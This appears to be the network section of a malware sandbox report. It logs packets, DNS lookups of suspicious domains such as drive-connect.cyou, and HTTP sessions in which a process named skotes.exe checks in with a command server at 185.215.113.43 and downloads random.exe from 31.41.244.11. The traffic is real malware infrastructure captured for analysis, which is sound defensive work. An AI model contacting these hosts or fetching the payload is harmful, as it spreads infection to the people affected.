Dec 9, 2024 21:09:58.559547901 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.559644938 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.560566902 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.560657024 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.561583042 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.561681986 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.562603951 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.565036058 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.574004889 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.574042082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.574418068 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.574542046 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.575445890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.575493097 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.576448917 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.581356049 CET	80	50008	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:58.585176945 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.605413914 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614197969 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614229918 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614231110 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614245892 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614289045 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614321947 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614444017 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.614445925 CET	50008	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:58.698251009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.698270082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.698707104 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.698832035 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.699713945 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.699918985 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.700711012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.700983047 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.701009989 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.701050043 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.701745987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.701822042 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.702685118 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.702721119 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.702817917 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.703453064 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.703737020 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.703963995 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.704330921 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.711106062 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:58.712255001 CET	443	50010	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:58.712285995 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.712376118 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.712771893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.712877035 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.713751078 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.713881016 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.714759111 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.714899063 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.714924097 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:58.715768099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.715902090 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.716795921 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.716892958 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.717797041 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.717947006 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.718759060 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.718879938 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.719770908 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.719888926 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.720252037 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:58.720266104 CET	443	50010	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:58.720326900 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:58.720710993 CET	443	50010	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:58.720755100 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.720823050 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.720854044 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.720858097 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.720874071 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:58.720915079 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.721738100 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.721929073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.722109079 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.722763062 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.722861052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.722950935 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.723772049 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.723876953 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.724235058 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.724816084 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.724951982 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.724987030 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.725791931 CET	80	50000	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 21:09:12.039937019 CET	192.168.2.6	1.1.1.1	0xfae2	Standard query (0)	drive-connect.cyou	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.671258926 CET	192.168.2.6	1.1.1.1	0x696f	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:54.628571033 CET	192.168.2.6	1.1.1.1	0x9ecd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:54.767272949 CET	192.168.2.6	1.1.1.1	0x708d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 21:09:56.112014055 CET	192.168.2.6	1.1.1.1	0x38e0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.112320900 CET	192.168.2.6	1.1.1.1	0x6ca2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.250277996 CET	192.168.2.6	1.1.1.1	0xecbb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.254740000 CET	192.168.2.6	1.1.1.1	0x731c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.390655041 CET	192.168.2.6	1.1.1.1	0xe6db	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 9, 2024 21:09:56.393857002 CET	192.168.2.6	1.1.1.1	0x34e6	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 21:09:57.350119114 CET	192.168.2.6	1.1.1.1	0xbea2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.449080944 CET	192.168.2.6	1.1.1.1	0xfa50	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.488486052 CET	192.168.2.6	1.1.1.1	0xdc4b	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.637600899 CET	192.168.2.6	1.1.1.1	0x5272	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 21:09:57.897444963 CET	192.168.2.6	1.1.1.1	0x9651	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.897602081 CET	192.168.2.6	1.1.1.1	0x2aaf	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.912178040 CET	192.168.2.6	1.1.1.1	0x6130	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.973774910 CET	192.168.2.6	1.1.1.1	0xad12	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.979374886 CET	192.168.2.6	1.1.1.1	0xc5b3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.981426954 CET	192.168.2.6	1.1.1.1	0x6c38	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.035849094 CET	192.168.2.6	1.1.1.1	0x9a7d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 21:09:58.036608934 CET	192.168.2.6	1.1.1.1	0x1825	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 21:09:58.120121956 CET	192.168.2.6	1.1.1.1	0xc306	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.263200998 CET	192.168.2.6	1.1.1.1	0xdb2a	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 21:10:16.136914015 CET	192.168.2.6	1.1.1.1	0xed66	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:10:16.137068033 CET	192.168.2.6	1.1.1.1	0xe1ee	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 21:10:18.397699118 CET	192.168.2.6	1.1.1.1	0xb507	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:10:18.397804022 CET	192.168.2.6	1.1.1.1	0xa777	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 21:09:12.263349056 CET	1.1.1.1	192.168.2.6	0xfae2	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:12.263349056 CET	1.1.1.1	192.168.2.6	0xfae2	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:31.905487061 CET	1.1.1.1	192.168.2.6	0x696f	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:54.607438087 CET	1.1.1.1	192.168.2.6	0x3b78	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:54.766360044 CET	1.1.1.1	192.168.2.6	0x9ecd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.248886108 CET	1.1.1.1	192.168.2.6	0x38e0	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.249999046 CET	1.1.1.1	192.168.2.6	0x6ca2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:56.249999046 CET	1.1.1.1	192.168.2.6	0x6ca2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.388097048 CET	1.1.1.1	192.168.2.6	0xecbb	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.392147064 CET	1.1.1.1	192.168.2.6	0x731c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:56.527519941 CET	1.1.1.1	192.168.2.6	0xe6db	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 9, 2024 21:09:56.530467033 CET	1.1.1.1	192.168.2.6	0x34e6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 21:09:57.486830950 CET	1.1.1.1	192.168.2.6	0xbea2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.576780081 CET	1.1.1.1	192.168.2.6	0x718d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:57.576780081 CET	1.1.1.1	192.168.2.6	0x718d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.586013079 CET	1.1.1.1	192.168.2.6	0xfa50	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:57.586013079 CET	1.1.1.1	192.168.2.6	0xfa50	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:57.627319098 CET	1.1.1.1	192.168.2.6	0xdc4b	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.034034967 CET	1.1.1.1	192.168.2.6	0x9651	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.034953117 CET	1.1.1.1	192.168.2.6	0x2aaf	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.048986912 CET	1.1.1.1	192.168.2.6	0x6130	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.110718966 CET	1.1.1.1	192.168.2.6	0xad12	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.110718966 CET	1.1.1.1	192.168.2.6	0xad12	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.116167068 CET	1.1.1.1	192.168.2.6	0xc5b3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:58.116167068 CET	1.1.1.1	192.168.2.6	0xc5b3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.118678093 CET	1.1.1.1	192.168.2.6	0x6c38	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:58.118678093 CET	1.1.1.1	192.168.2.6	0x6c38	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:09:58.118678093 CET	1.1.1.1	192.168.2.6	0x6c38	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.257320881 CET	1.1.1.1	192.168.2.6	0xc306	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:09:58.400665998 CET	1.1.1.1	192.168.2.6	0xdb2a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 21:10:16.274521112 CET	1.1.1.1	192.168.2.6	0xe1ee	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 21:10:16.274823904 CET	1.1.1.1	192.168.2.6	0xed66	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:10:18.652663946 CET	1.1.1.1	192.168.2.6	0xb507	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.652663946 CET	1.1.1.1	192.168.2.6	0xb507	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.652663946 CET	1.1.1.1	192.168.2.6	0xb507	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.652663946 CET	1.1.1.1	192.168.2.6	0xb507	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:10:18.793014050 CET	1.1.1.1	192.168.2.6	0xed57	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.898966074 CET	1.1.1.1	192.168.2.6	0xaa35	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.898966074 CET	1.1.1.1	192.168.2.6	0xaa35	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:18.898966074 CET	1.1.1.1	192.168.2.6	0xaa35	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:10:19.094491005 CET	1.1.1.1	192.168.2.6	0xa777	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:19.094491005 CET	1.1.1.1	192.168.2.6	0xa777	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:21.534964085 CET	1.1.1.1	192.168.2.6	0x9c31	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:21.535433054 CET	1.1.1.1	192.168.2.6	0xab15	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:21.535433054 CET	1.1.1.1	192.168.2.6	0xab15	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:10:21.535433054 CET	1.1.1.1	192.168.2.6	0xab15	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49848	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:03.831336021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 21:09:05.209419966 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49854	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:06.836569071 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 9, 2024 21:09:08.199217081 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 32 62 0d 0a 20 3c 63 3e 31 30 31 33 35 30 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 31 33 35 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 33 35 31 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 35 31 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 [TRUNCATED] Data Ascii: 22b <c>1013509001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1013510001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1013511001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013512001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013513001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013514001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49859	31.41.244.11	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:08.323261976 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 9, 2024 21:09:09.655523062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:09 GMT Content-Type: application/octet-stream Content-Length: 828416 Last-Modified: Mon, 09 Dec 2024 19:37:50 GMT Connection: keep-alive ETag: "6757470e-ca400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 8d fe 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 02 00 00 e0 00 00 00 00 00 00 72 e5 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0c 00 00 08 00 00 a9 ae 0c 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 3c 03 00 3c 00 00 00 00 a0 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 03 00 88 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 ff 02 00 18 00 00 00 88 c2 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 94 3e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELVgr@@<<>x.text `.rdata<@@.data'`L@.TLSd@.rsrcf@@.reloc h@B.bss@.bss`@
